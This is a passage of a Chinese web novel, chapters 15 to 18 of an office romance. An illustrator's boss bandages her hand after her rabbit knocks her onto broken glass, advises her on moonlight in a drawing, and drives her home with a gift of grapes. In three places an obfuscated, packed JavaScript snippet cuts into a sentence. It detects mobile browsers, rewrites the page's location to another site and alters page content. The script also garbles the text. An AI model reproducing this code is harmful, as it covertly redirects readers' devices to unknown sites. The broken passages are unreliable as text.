陆言知闻声走了进来,任舒晚看向他,命苦地叹口气,“见笑了陆总,我家元宝拆家。” 陆言知打量一圈房间,又看向元宝,“天天拆?” 任舒晚勾勾唇,露出一个凄惨的笑容,“天天……从我买它回来,每天回家面对的都是这个场景。” 她指向旧的兔笼,“无论我用绳子还是塑料扎带绑门,它都能咬开跳出来。” 陆言知把新的兔笼靠墙放下,又扶起旧的兔笼观察一番,道:“新的不会,新的门栓在外面。” 说罢,他蹲下身,将包装的兔笼摆正,“有剪刀吗?” 任舒晚愣了愣,“不用了,我晚上自己拆就可以。” 陆言知掀掀眼皮,“那它一下午只会祸害的更厉害。” 有道理,太有道理了。 任舒晚立刻从抽屉里找出剪刀递过去,“那就谢谢陆总了。” 陆言知低头划开封口,“你不收拾一下吗?” 他顿了顿,“组装需要些时间。” 任舒晚连忙应下,现在收拾的话,晚上回来就是干净整洁的家了。 她想着,也立刻投入行动。 于是,两人各居一隅,任舒晚拆下床单被罩扔进洗衣机。陆言知则坐在任舒晚给他安排的小椅子上聚精会神组装兔笼。 元宝穿梭在两人间,一会儿凑到任舒晚脚边闻闻,一会儿又小心翼翼靠近陆言知,鼻尖抵在他衣角轻嗅。 岁月静好了几分钟,元宝不知受了什么惊吓,又开始疯狂跑酷起来,先是蹦到阳台上,又撅起屁股尿在窗框上。 任舒晚正蹲着处理破碎的玻璃杯,闻声抬头训斥道:“任元宝,你老实点,一会儿踩到玻璃就知道疼了。” 元宝不闻不问,一个起跳蹦到沙发上继续捣乱。 任舒晚拿它没办法,只能暂且不管它,加速收拾。 她将大片的玻璃片扔进厚实的外卖保温袋里,又拿透明胶带去粘地上的碎渣。 可地上有水,胶带不起作用,她只好先用纸巾蘸干水分。 正在专注之际,她的后背突然受到一下重撞,紧接着一对有力的后腿蹬在她肩膀上,把她当踏板似的踩在脚下。 惊吓突如其来,她重心不稳朝前扑去,手下意识撑地稳住身形,却一把按在碎玻璃渣上,钻心的疼痛立刻蔓延开来。 她轻呼一声,迅速抬手站起身,目光去寻始作俑者。元宝蹲在茶几上看她,眼神冷漠,胡子轻颤,根本不似平常温和的模样。 陆言知闻声走了过来,蹙眉看向她的手掌,原本白皙娇嫩的掌心此刻布满密密麻麻的碎玻璃,几处深的地方已经洇出血痕。 陆言知:“有药箱吗?” 任舒晚愣愣回神,低头看了眼手,“在影视柜的抽屉里。” 她不明白,为什么元宝会突然攻击她,它从来没这样过。 陆言知拿来药箱时她还站在原地出神,他轻咳一声,“坐下。” 任舒晚乖巧坐到沙发上,就见陆言知俯身单膝跪地蹲在了她面前。 她心头一紧,下意识吞了下口水,“我自己来,陆总。” 陆言知垂着眼睑,浓密的睫毛动了动,“你右手处理左手确实很方便,但能忍住疼吗?” 他的话让任舒晚哑口无言。 “把手伸过来。”他淡淡开口。 任舒晚闷闷地应了声,将皮伤肉绽的左手伸到他面前。 陆言知将沾了生理盐水的棉签靠近伤口,刚刚碰到皮肤就听到她倒抽一口冷气,手立刻缩了回去。 陆言知抬眸看她,墨色的瞳仁微顿,“忍忍?” 任舒晚抿紧唇,点了点头,又将手伸上前。 棉签触碰洇血的伤口,轻轻拨掉碎玻璃,露出小而深的血口。 任舒晚下意识咬住唇,五官皱成一团。 实在是太疼了,都说十指连心,她总算体会到了。 只忍到清理了三处,她便迅速收回手,“等等,等等。” 陆言知手停在空中,“再忍忍?” 任舒晚欲哭无泪,他说得轻松,可见忍得不是他了。 “忍不了一点,一点也忍不了,要痛死了。” 陆言知扔掉手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16878217|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的棉签,拿出一根干燥的棉签,沉吟道:“那不沾生理盐水了。” 任舒晚狐疑地盯着他,“这样就不疼了?” “嗯。”他淡淡扬眉,示意她伸出手。 任舒晚思忖一瞬,再次将手伸出去。 陆言知抬眸意味深长地看她一眼,薄唇轻启,“抱歉。” ??? 任舒晚还没反应过来,手腕突然被他抓住,下一秒,就见他用干燥的棉签沾上生理盐水,干净利落地朝她伤口而去。 刺痛感从掌心蔓延开来,她瞬间被激出眼泪,手下意识想要回缩,却被牢牢钳制住。 “你骗我!!!”任舒晚一边哀嚎一边往回收手,可奈何她的力气完全没办法和他抗衡,手纹丝不动,被他宽大的手掌严丝合缝的禁锢。 纤细的手腕在他掌中如小巧玩具,轻而易举掌握,又不紧不慢控制,她想逃,却连机会都看不到。 “好疼好疼,救命。”任舒晚略带哭腔的控诉着。 陆言知缄默不语,手上的动作没有一丝停顿,扔掉脏污的棉签,换干净棉签,沾生理盐水,挑动,擦拭。 “谋杀,这是谋杀!” 陆言知掀眼皮瞧她一眼,“不清理干净会感染,感染会疼痛加剧。” 任舒晚抽着鼻子,“可是还是好疼。” “忍忍。” 这次不是询问,是命令。 就这样在他一声又一声的“忍忍”中,伤口中的玻璃渣被清理干净。 陆言知又在她伤口周围涂了碘伏,用无菌纱布包扎好才放开。 获得手部自由活动权后,任舒晚连忙把手藏在身后,生怕陆言知再对其虐待。 陆言知发出轻笑,“怕什么?” 任舒晚提防地看向他,“你太凶了,比开会训我那次还凶。” “那你是不是又要记恨我了?” “又……?”任舒晚虽然疼,但理智尚在,“我从来没有记恨你,陆总。” 陆言知低着头收药箱,慢条斯理反问道:“嗯?是吗?” “当然当然。”任舒晚信誓旦旦回答。 陆言知挑眉看她一眼,一副“你看我会信”的样子。 他将药箱放回原位,转言道:“元宝应该也是发情期,它无缘无故攻击你是发情期的表现。” “啊?!”任舒晚大惊失色,“它看上去还很小啊。” “公兔三月龄就会开始发情,现在这个月份正是高峰期。” 任舒晚:“那怎么办?” 陆言知环视一圈她的房间,“先笼养吧,你这里不适合散养。等发情期过了带去绝育,它的表现太严重,对主人会造成危害。” 任舒晚点点头应下。 两人收拾完、组装好兔笼已经到了下午上班时间,任舒晚跟人事请了两小时假,陆言知带她去打了破伤风针,两人才回到公司。 任舒晚刚到工位坐下,祝笙就找了她来,“你去哪儿了?我给你留得饭都凉了。” 任舒晚冲她挥了挥包得像猪蹄的手,“小孩没娘说起来话长。” “怎么回事?怎么还伤着了?”祝笙担心道。 任舒晚避重就轻的把中午的事讲给祝笙,并且隐藏了陆言知的存在,好在祝笙也没多问。 凑合吃了午餐后,任舒晚立刻投入工作中,她庆幸是左手伤着了,如果是右手,那她就等着晋升无望了。 打开上午画得草稿,她开始细化线条,背景的丛林,夜空的悬月,蝴蝶月的五官、表情,随着笔尖渐渐完善细致。 一直画到晚休,她匆匆吃了晚餐又投入其中,直至晚上下班时,她的线稿已初步勾勒完成,但新的问题又涌现了出来。 插画是夜晚,头顶有月光,光影逻辑应该是什么样子的呢?明暗交界出现在哪?亮部在哪个位置能凸显蝴蝶月凌厉的眼神? 问题层出不穷,她盯着画稿却没有思绪。 开屏动画设计不同于往日的插画,如果光影逻辑出现错误,那观众的视线就会被误导,从而导致故事中的关键情节错误。 办公室的人陆陆续续下班离开,任舒晚却还沉在画稿中出不去,她隐约有些想法,却捕捉不到,她不敢下班离开,怕刚出现的思路被打断。 就在这时,身后忽然传来低醇的嗓音,“还不下班?” 她下意识回身望去,办公室竟只剩她自己,而陆言知站不远处,平静淡然地看着她。 “陆总。”她唤了他一声,又回身看向画稿,“光影逻辑卡住了,想再想想。” 陆言知:“我看一下?” 任舒晚点点头。 陆言知从她身侧探过来,修长的手支着桌面,俯身靠近手绘屏,深邃的双眸微眯着,认真审视着画稿。 任舒晚呼吸一滞,熟悉的清冷木质香萦绕在鼻尖。他靠得很近,她只需微微偏头就能看到那张精致的侧脸,挺拔的鼻梁,漆黑的瞳仁,微微抿起的薄唇,还有视线下移后那修长的脖颈。 她意识到目光逾矩,连忙低头躲开,轻轻呼了一口气,稳定心绪。 “光影逻辑?月光的亮部吗?”陆言知思忖道。 任舒晚一喜,“对。” 陆言知站直身体,转身朝门口走去,“等一下。” 片刻后,办公室的灯忽然关了,周遭陷入一片漆黑,只有她的手绘屏亮着微弱的光线。 她心里一紧,本能对黑暗产生恐惧,“陆总。” “我在。”陆言知的声音从身后由远及近传来,带着莫名的安心。 16. 第 16 章 陆言知:“你看右边窗户。” 任舒晚依言转头,巨幅落地窗外,明月高悬,银白色月光如水倾泻而下,聚集一汪微凉的亮,散落地面。 陆言知走到窗前,银辉随即洒在他侧颜,一半隐在暗处,深邃神秘,一半显在明处,干净清冽。他微微侧身移动,月光仿佛与黑暗交织在一起,盈盈流动,变化无常。 “光源分虚实、软硬,月光属于软光源,更远更柔和。由于光源远,阴影则会更实。漫射光散在人物身上,应该会产生边缘模糊的阴影,而非一束浓重的暗。” 陆言知就这么站在月光下缓缓说着,任舒晚有那么一瞬是恍惚的,她感觉眼前的人仿佛从天而降般出现,吹散她眼前的迷雾,带着她一点点走出困境,迎接黎明。 “光影逻辑的基石是合理性,它必须符合规律,右侧斜射过来的光源产生的投影大致朝向左侧。”陆言知移动步子,指着地上自己的影子认真阐述。 任舒晚盯着他的指向,如梦初醒,她陷入了逻辑怪圈,她只想着如何引导观众的视觉焦点,却忽视了光影的底层逻辑,光源、光线、投影关系,这一切确定好才能再去利用光影表达情绪。 “我懂了!” 她眼睛一亮,迅速坐回工位拿起笔开始改稿。 陆言知没说话,平静站在窗前看着她,周遭昏暗,只有她的桌面亮着澄澈的灯光,明亮而透彻,倒映在她黑色瞳仁里,干净如秋水般透明见底。 她很聪明,是个好学生。 他敛眸,唇角笑意渐深。 任舒晚将画稿中错误的光影删除,重新规划月光角度和投影朝向,正思索之际,一个突如其来的念头冲上脑海,她猛地抬头看向陆言知,“陆总,我还有个问题。” 她打开桌面的台灯,俯身从抽屉里掏出上次五星级酒店外卖的手提包装袋,“你知道这是什么料子吗?” 她将包装袋移到光下,轻轻晃动手腕展示布料的粼粼波光。 陆言知走进,只是略微看了一眼,沉思一瞬,便道:“应该是琉璃缎。” “琉璃缎?”任舒晚重复一遍,仰头看他,虚心求教。 “琉璃缎具有光泽感,会随着光线和动作产生变化,手感柔软,不易皱,不易破损,材质成分也比较多样。” 任舒晚听得一愣一愣的,她没想到陆言知如此博学,“你怎么什么都知道?” 陆言知微怔,继而含笑道:“从书上看到过,更详细的你可以从网上搜索了解一下。” 任舒晚点点头,“好。” 陆言知没再多言,抬步朝办公室门口走去,片刻后屋里亮了灯,一片明亮。 他站在光源开关处,淡淡道:“你走的时候喊我。” 任舒晚愣了一下,大老板也要继续辛苦加班吗?她微微回神,后知后觉应了声。 她用了一个小时的时间去重新规划光影,也在修改中意识到这个画面并不适合推成近景,如陆言知所说,漫射光太过柔和,而蝴蝶月的眼神所表达的情绪更加犀利干脆。 不过这已经解决了她一大难题,剩下的还是明天再考虑吧。 任舒晚关掉电脑,收拾好东西,起身去找陆言知。 美术部办公室离总裁办公室很近,穿过走廊中的助理部,拐角的尽头就是。 她走到门口,轻轻叩响门板,下一秒便传来陆言知的声音,“进。” 任舒晚推开沉重的木门,探了半个身子进去,恰好看到陆言知站在玄关处,背对她穿外套。 他今天没有穿正装,衬衫外套了一件棕色立领皮衣,款式虽宽松,但随着抬臂的动作仍能显现出布料下宽肩窄腰的绝佳身材。 任舒晚连忙瞥开视线,非礼勿视非礼勿视。 “走吧。” 陆言知开口打断她的思绪,她立刻收回探进去的身子,大力把门推开。 陆言知看她推得费力,抬手拉住里面的门把手,接着换为指尖抵住门边缘,筋骨修长的大手因用力凸起错杂的青筋。 他探身用另一侧的手去关灯,距离很远,但他臂展惊人,做起来轻松自如。 任舒晚眨眨眼,鬼使神差道:“陆总,你好厉害。” 陆言知闻言,眉梢一抽,“你说什么?” 任舒晚怔怔缓过神,“没……我说你胳膊很长。” 陆言知沉默着从办公室走出来,“走吧,送你回家。” 说罢,他抬步往电梯口走去。 诶? 任舒晚小跑跟上他,“不用了陆总,我可以打车回去,公司有打车补助。” 陆言知抬了抬手腕,示意道:“很晚了,不安全。” “那谢谢陆总。” 她又能省钱了,太好了! 深夜的临城终于不再堵车,张扬的黑色超跑在高架上肆意穿梭,发动机的轰鸣与破风声不断入耳。 眼看着距离前车越来越近,速度仍不见减缓,任舒晚紧张地握紧安全带,下一秒,方向盘一转,车辆轻微一侧,瞬间变换到另一条车道完成超车。她突然有些明白跑车带来的快感了,确实不是舒适的商务车可以与之媲美的。 陆言知微微偏头,就见她正聚精会神地盯着前方,看上去比他这位驾驶员还要认真。 他勾了勾唇角,缓慢轻点刹车,速度从而慢了下来。 “怎么不睡觉了?” “啊?”任舒晚愣了一下,瞬间想到去公司开门那晚,她窘迫地笑了笑,“车速太快了,吓得不困了。” 其实那晚主要因为她不想跟陆言知掰扯了,他一直在说“车轱辘”!她也很无奈好吧。 半小时后,车子停在任舒晚家楼下,她解开安全带,礼貌道:“谢谢陆总送我回来。” “嗯。” “那我下车了。” 任舒晚侧身刚要开门,陆言知忽然道:“等一下。” 她疑惑回头,就见陆言知从后排冰箱里拿出一个保鲜袋,“朋友送我一款培育的葡萄,据说味道不错。” 说罢,他递到任舒晚面前,透明的保鲜袋内有两盒,每盒里只放了一串。鲜红色的果粒紧促的串成一串,如红宝石般耀眼,超大的果粒单个就有乒乓球大小,只是隔着保鲜袋便能闻到浓郁的玫瑰香气。 任舒晚第一次见这么大果的品种,立刻受宠若惊地接下。 陆言知沉默一瞬,道:“这是回礼,谢谢你那天送我的葡萄。” !!! 任舒晚瞪大眸子,大老板居然还给她回礼吗?!这也太不可思议了。 “其实不回礼也没关系……”她小声嘟囔了一句,她还是更想晋升中级。 陆言知没听清她说什么,蹙眉疑惑,“嗯?” “没。”她连忙摇头,“我没骂您,我说谢谢您的回礼。” 她已经条件反射了,生怕陆言知又问她是不是在骂他,她真没有啊,她真冤枉啊! 陆言知顿了顿,忽而轻笑出声。 任舒晚悄咪咪瞪他一眼,笑笑笑,他还好意思笑。 “你的伤口别沾水。” 任舒晚看了眼自己包着的手,已经不怎么疼了,可以忽略不计了。 “好,那我下车了,陆总注意安全。” 她推门下车,退到单元门口就见陆言知再次落下车窗,“你上去。” 她笑了笑,“陆总再见。” “明天见。” 陆言知看着清丽的背影消失不见,片刻后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885808|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐层点亮楼梯间的灯,直至在四楼停下。 他收回视线拿起手机,拨通安逸的电话。 响了几声后,安逸暴躁的声音透过听筒传出,“我说陆言知,你看看几点了,你母胎单身没夜生活,我可不是。” 陆言知:“谁说我没有夜生活。” 安逸嗤笑一声,“是,加班也算夜生活。” “你明天来一趟公司。”陆言知懒得跟他废话,开门见山道。 安逸:“又要干嘛?我还是病人,我还受着伤呢。” “你来指导一下美术组开屏PV设计。” 安逸无语,“她们自己就能干,不需要我指导,又不是第一次制作pv了。” 陆言知:“你来不来?” “不来,我要在家修养。”安逸斩钉截铁,“对了,我正要找你八卦呢,听说你买了国外最新培育的进口葡萄,一串接近五位数,啥葡萄啊,这么好吃吗?给我尝尝啊。” 一听安逸八卦陆言知就头疼,他将手机扔到手盒上,启动车子,慢条斯理道:“你明天去公司就能吃到。” “真的?”安逸半信半疑。 陆言知:“试试就知道了。” “行,明天见。” 陆言知见他应下,抬手拿起手机,漠然道:“挂了。” 下一秒,通话结束。 — 任舒晚回到家,进门是干净整齐的房间,元宝老老实实窝在兔笼里,闻声瞪着眼睛看向她。 她放下包走到笼子边,“元宝宝宝,妈妈回来啦。” 元宝站起身,前爪垂在身前,伸着脑袋凑近玻璃,似乎在回答任舒晚的话。 任舒晚被萌的不行,特别想放它出来rua一会儿,但她想到自己的手和被拆烂的家,又退缩了。 中午陆言知说元宝在发情期,她去搜了搜,发现元宝拆家、乱拉乱尿、攻击她,都是发情期的表现,她之前一直以为元宝调皮,原来并不是。 网上说公兔的发情期一般几天到几周都有可能,绝育要等发情期过去以后才可以,所以这段期间只能委屈元宝天天呆在笼子里了。 她叹口气,指尖点了点玻璃,“乖元宝,等你发情期结束妈妈就带你去绝育,绝育以后就能出来陪妈妈了。” 元宝不语,又往她指尖落下的地方蹭了蹭。 任舒晚陪了会儿元宝便去洗澡了,洗完澡出来看到桌上的葡萄,她放了一盒在冰箱里,拿着另一盒去洗来尝尝。 打开保鲜袋后,玫瑰的香气更加浓郁,任舒晚一粒粒摘下来,只是几颗就已经把果盘撑满了,这已经不是大果了,而是超大果。 清洗掉表面尘土,她立刻拿起一颗咬了一口。 她非常喜欢吃葡萄,各种甜甜的品种都可以,但这类品种的葡萄她真没有品尝出特殊。 果粒肉肉的,皮很薄,甜度很高,没有籽,整体来说无功无过,没有妈妈种得巨峰好吃,更多的像红提的口感,除了甜和大也吃不出区别。 她吃了一颗,又吃了一颗,就觉得齁嗓子了。她把剩下的收进冰箱,还是明天再吃吧。 躺到床上,她拿起手机,思索着还是要对陆言知表达一下感谢的,虽然葡萄一般,但毕竟是老板给她的回礼,她还是要礼貌积极的反馈一下。 她抱着手机,一边思考一边打字:[陆总您到家了吗?葡萄我尝过了,很好吃。] 字打完,刚要按下发送,她忽然意识到不对,这样好像太敷衍了。之前陆言知也是单薄的回她葡萄很好吃,明摆着就是客气一下。 老板回礼,她得给到情绪价值啊。 思忖片刻,她又加了几句,[很甜,皮很薄,水分也很足,浓郁的玫瑰香。] 17. 第 17 章 任舒晚不知道是怎么睡着的,一觉醒来已经是第二天早上,摸手机的同时闹钟也随之响起。 她闭着眼睛关掉,又翻身赖了几分钟,才艰难从被窝里爬出来。 初醒的身体被唤起,肩膀手臂经过一夜静止,突然活动带来了明显的疼痛。 她试图用左手去按揉胳膊,又想起左手掌心还有伤,旋即放弃,换为轻柔的活动、拉伸。 片刻后,疼痛缓解,她叹口气起床洗漱,这几天实在太惨了,浑身上下遍体鳞伤,没一个好地方,而且她明显感觉颈椎病加重了,今天的疼痛比昨天更甚,无法忽略的那种,她安慰自己再坚持几天,等周年庆过去就好了。 洗漱完,她随便吃了个面包便出门上班。 到公司坐到工位上,任舒晚没有着急画稿,而是先把手中的工作顺了一下,做个了近期计划。 目前她交付了蝴蝶月pv中的三视图,箫沉也完成了初步草稿,昨晚问了陆言知布料的事情,她回家查了不少资料,琉璃缎正是她想要的效果。 箫沉这个角色出身名门,是九洲剑派未来的掌门,他的服装需要突出质感,对布料要求更高,琉璃缎丝滑轻盈,在不同光线下有波光粼粼的效果,更能营造出剑客仙风道骨的气质。 同时资料也给她带来了许多的灵感,如果今天赶赶,应该就能完成箫沉的三视图。 那接下来就是pv的重中之重,也是目前最让她头疼的部分——关键帧插画。 通勤路上,她思来想去,陆言知说得很对,她的光影逻辑有些问题,所以她还是打算把手里那份蝴蝶月关键帧的稿子推翻,这个稿子可以用在分镜画上,但并不适用展示蝴蝶月这个人物。 这么想下来,昨天似乎白忙活一场。 任舒晚叹口气,把写好的工作计划依次贴在手绘屏一侧。 就在这时,她的手机忽然震动一下,她随手拿起来查看,下一秒,眼睛瞪大。 项目组@全体发了通知,美术总监安逸今天来公司指导pv设计,九点美术部开会。 任舒晚不可置信地揉揉眼睛,居然还有这种好事,她正犯愁,就从天而降指导老师。 她感觉最近运气太好了,遇到问题迎刃而解,难道是神明给她开挂了? 不管了,就是神明伸出援手了,等忙完她再去还愿。 眼看到了九点,她不再耽搁,立马收拾东西去会议室。 到了会议室,美术组的人来了差不多,任舒晚找了个空位置坐下,就听身边有人跟骆珊搭话。 “珊姐,你稿子完成多少了?” 骆珊慢条斯理道:“三视图已经交稿了,两个角色的关键帧草图也完成了,正在深化细节。” “哇,珊姐你速度这么快,太厉害了。” 一声两声的夸赞传进任舒晚耳朵里,她低着头看似在拉伸脖子,实则正伸着耳朵听八卦。 就听旁边人声音压低了几分,问道:“安总监为什么突然回来了?他伤好像挺严重吧,pv这种小事他还放在心上?” 骆珊沉默一瞬,回答的滴水不漏,“安总监和陆总都很看重这次周年庆。” 任舒晚听着,默默给骆珊竖起大拇指,这人明显在试探骆珊,想旁敲侧击打听消息,而骆珊心思缜密,明白祸从口出,说话天衣无缝。 任舒晚由衷佩服骆珊的小心谨慎,可惜她人品太差了,坏心思太多。 这时,小庄推着安逸进了门,众人纷纷噤声看向他。 安逸还坐在轮椅上,不过脸色看上去有了血色,状态好了很多。 几人关心的询问他的身体状况,安逸笑着一一回答。 寒暄过后,安逸表明自己的来意,“周年庆关键时刻,我出了这样的事情,大忙我帮不上,但也想替大家分担一下。” 他微微颔首,小庄立刻帮他打开PPT,上面挂着大家刚交上去的三视图,他挨个过了一遍,道:“稿子都很优秀,各有特色,百花齐放,这就是我想要的效果。” 说罢,他便着重讲述pv设计的重点,“关键帧插画是分镜的延伸,大家在设计时应该要先有整个画面的构思,才能画好分镜和关键帧。” 他拿出错误案例和优秀案例,详细讲了许多干货,如何打造合理的光影系统,如何在符合逻辑的前提下做到服务叙事,如何打造富有感染力的三维世界。 任舒晚听完茅塞顿开,她许多疑惑的问题在这里得到一一解答。 会议不拖沓,很快便接近尾声。 安逸笑了笑,道:“我今天会一直在公司,如果画稿中遇到问题可以随时来办公室找我。” 会议结束后,任舒晚回到工位,把自己现阶段的问题和疑惑做了汇总,拿着画稿去敲安逸的办公室门。 她明白,无论学校还是职场,多学多问才是进步最有效的路径。 推开办公室门,安逸正坐在桌前打电话,他看了眼任舒晚,对电话那头温柔道:“宝宝,我先忙工作,晚上一起吃饭。” 看他挂断电话,任舒晚才走上前,“安总监,我是任舒晚,我有几个问题想请教您。” 安逸看到她并不意外,扬扬下巴,和善道:“说就行。” 任舒晚把昨天画得插画草稿递上前,“我知道这个稿子有问题,但我有些想不明白问题在哪。” 安逸扫了一眼,“你的问题出在光影混乱,原画师是凭空发明一套合理的光影系统,如果不合理,后续根本无法还原出想要的氛围。” 话音刚落,门外响起敲门声,安逸微微歪头看向门口处,“进。” 下一秒,木门推开,陆言知信步而来。 “哟,稀客啊。”安逸打趣道。 陆言知视线轻描淡写地扫过他,落到任舒晚身上,继而淡淡道:“你们先聊。” 说罢,他朝远处待客区的沙发走去。 安逸收回目光,又看向任舒晚的画稿,“这不是关键帧,这个光源下更适合远景,你说一下你的构思吧。” 任舒晚点头,缓缓开口,将构思好的剧情不紧不慢地说了出来。 远处,陆言知的目光不着痕迹落在她身上,她侃侃而谈,语调缓慢却认真,明显对自己的剧情和画稿非常了解,底气十足。 几分钟后,她语毕,虚心看向安逸,“这就是我的构思。” 安逸满意地点点头,“非常好啊,你只是缺乏经验而已,这好说,我教你。” 说完,他便细致地提出自己地见解,讲了他认为适合作为关键帧的地方,又详细说了光源应该怎么设置能突出角色凌厉的目光和性格。 任舒晚越听笑意越深,她就知道一定能学到很多东西。她把安逸讲的都记了下来,生怕漏掉细节。 片刻后,安逸鸣金收兵,道:“你就按我说得画,保证没问题。” 任舒晚坚定地点点头,目光真诚,“谢谢安总监。” 安逸大咧咧摆摆手,“不客气,好好画,前途无量。” 任舒晚抿唇笑得开心,得到认可就会不自觉有些小雀跃。 远处,陆言知一瞬不瞬盯着她的侧颜,双眸微眯,眸色暗沉。 任舒晚:“那我先走了安总监,不打扰您了。” 安逸:“ok,ok。” 任舒晚回身,正对上陆言知讳莫如深的目光,她微怔,“陆总,我先走了。” 陆言知敛眸,眼底闪过一丝不爽,“嗯。” 任舒晚察言观色,大老板这是心情不好啊,她连忙拿着东西往门口走,一秒都不敢耽搁,生怕惨遭连累。 就在这时,安逸看向陆言知,不合时宜开口,“你空着手来的?五位数的葡萄呢?拿来我尝尝。” 任舒晚握着门把手的手一顿,五位数的葡萄???? 金子做的吗?这么贵。 陆言知没接话,寒凉的眸光落在安逸脸上,似乎随时都能用眼神刀将他千刀万剐。 安逸缩了缩脖子,一头雾水,“咋了,你咋不说话?” 任舒晚回过神,手上动作不停,慌忙开门溜之大吉。 咔哒—— 门关上发出轻响,陆言知视线扫过门口,继而移到安逸脸上,“你不说话没人把你当哑巴。” 安逸对他阴晴不定的情绪见怪不怪,懒懒翻个白眼,“你今天抽什么风?葡萄呢?” “没有,送人了。”陆言知说。 ??? “你!”安逸气道,“送人了?那你说让我来公司吃。” 陆言知靠着沙发背,从善如流道:“我没说,是你理解错了。” 安逸咬咬牙,“再信你我是狗!” —< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900267|191517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 任舒晚走出安逸办公室,忍不住感叹,有钱人真奢侈啊,葡萄都买五位数的,五位数一颗吗?还是一串?还是一箱? 也难怪之前陆言知瞧不上她送得葡萄,确实不能跟五位数的比啊。 那他昨晚送她的那个呢?他说是朋友送给他的,应该价格就低了吧,毕竟那个口味真的很普通。 她叹口气,不管了,还是先发财比较重要。 回到工位,任舒晚活动活动颈椎,投入工作中。她先把安逸的意见加进构思的分镜中,又着手去深化箫沉的三视图。 忙忙碌碌到午休时间,期间她三番两次站起来拉伸颈椎、手臂,今天的疼痛已经严重影响她的效率,画半天才完成一半。 这时,祝笙跑来找她吃饭,见她一脸苦瓜相,道:“午餐时间到,用美食治愈痛苦!” 任舒晚唉声叹气地起身,“好忙好累。” 祝笙亲昵地搂住她,安慰道:“坚持!今天中午是你爱吃的那家私房菜,多吃点。而且新茶水间开放了,设施全部升级,有咖啡机,好多速食、零食,重点是空间还大。” 两人从楼梯间步行上22楼,刷脸开门禁。 22楼空间宽敞,目前只有茶水间,剩下那间大房间是空的,暂不做别用。 茶水间的位置在进门处,装修豪华,干净整洁。此时已经有不少同事坐在里面吃饭,相比第一天加班时人满为患的样子,现在看上去井然有序。 两人排到队伍末尾,一边等领餐,一边闲聊。 任舒晚手也不闲着,说话的同时还在拉伸手臂,只是伸远往下压,从指尖到脖子便是过电般的酸爽。 祝笙:“颈椎不见好吗?” 任舒晚摇摇头,“没,更严重了,最近太忙了,实在没时间,等忙完去医院做理疗。” 祝笙刚要接话,目光却看向她身后的位置,紧接着脸上多了礼貌的微笑,“陆总好。” 任舒晚闻声回头,陆言知恰好走到她身后,高大的身影带来居高临下的压迫感,任舒晚是第一次对他的身高有了实感,即便他离她有些距离,她都需要仰头才能看到他的脸。 “陆总好。”她紧跟着打招呼。 陆言知敛眸看她,“嗯。” 任舒晚让了让位置,“陆总要不在我们前面吧。” 祝笙接话,“对,我们不着急。” 陆言知淡淡道:“不用,我也不着急。” 见他拒绝,任舒晚又站回去,“那好吧。” 陆言知没接话,任舒晚也转过身去看祝笙,祝笙原本刚才是回着头跟任舒晚聊天的,这下她身后多了陆言知,祝笙也面朝前了。 相顾无言,队伍慢慢前进,任舒晚调整呼吸,按照瑜伽老师教的方法继续拉伸颈椎。 陆言知站在她身后,就看圆溜溜的脑袋歪向左,又歪向右,时不时还传来她绵长,有规律的呼吸声。 片刻后,终于排到她们,祝笙领了她和任舒晚的,一手提一袋,挽着任舒晚去找位置吃饭,经过陆言知时,两人礼貌笑着点头示意。 稍稍走远些,祝笙才道:“刚刚我没好意思回头跟你说话。我想说你别拖了,下午请个假先去做一下理疗,别拖得像上次那么严重了。” 任舒晚应了声,活动着肩膀,“再说吧,太忙了。” — 午休后,总裁办公室,小庄拿来文件给陆言知签字。 等待期间,小庄道:“陆总,煤球的闲置都卖完了,您的咸鱼账号我退出了。” 小庄从口袋里掏出一张纸条,“这是您账号的账号、密码。” 陆言知扫了眼,道:“辛苦了,放这吧。” 他垂眸合上文件,“你安排一下,22楼空着的房间改成健身房吧。” “好的陆总。” 陆言知:“跟陈部长说,买一批颈椎按摩仪当员工福利。” 小庄按捺不住扬起嘴角,“好的陆总,您对大家太好了,私下大家都说您是神仙老板呢。” 陆言知微微颔首,“嗯,去吧。” 小庄拿着文件离开。 门合上,陆言知拿起在桌上的纸条,若有所思地盯着。 片刻后,他鬼使神差地拿起手机下载APP,按照账号密码登陆,在“我卖出”的订单里找到了兔笼的买家。 18. 第 18 章 陆言知发现了秘密,他终于知道任舒晚骂他的原因了。 他通过咸鱼订单找到了任舒晚的咸鱼账号,在她出售的宝贝中,赫然挂着一串醒目的销售语:[淬毒的小嘴],国服代骂,战绩可查。 她接单代骂,而他是被骂的人。 陆言知豁然开朗,之前想不明白的问题一瞬间有了答案。 意料之外的发现让他心情极好,他靠着椅背,饶有兴趣地翻看起她的店铺。 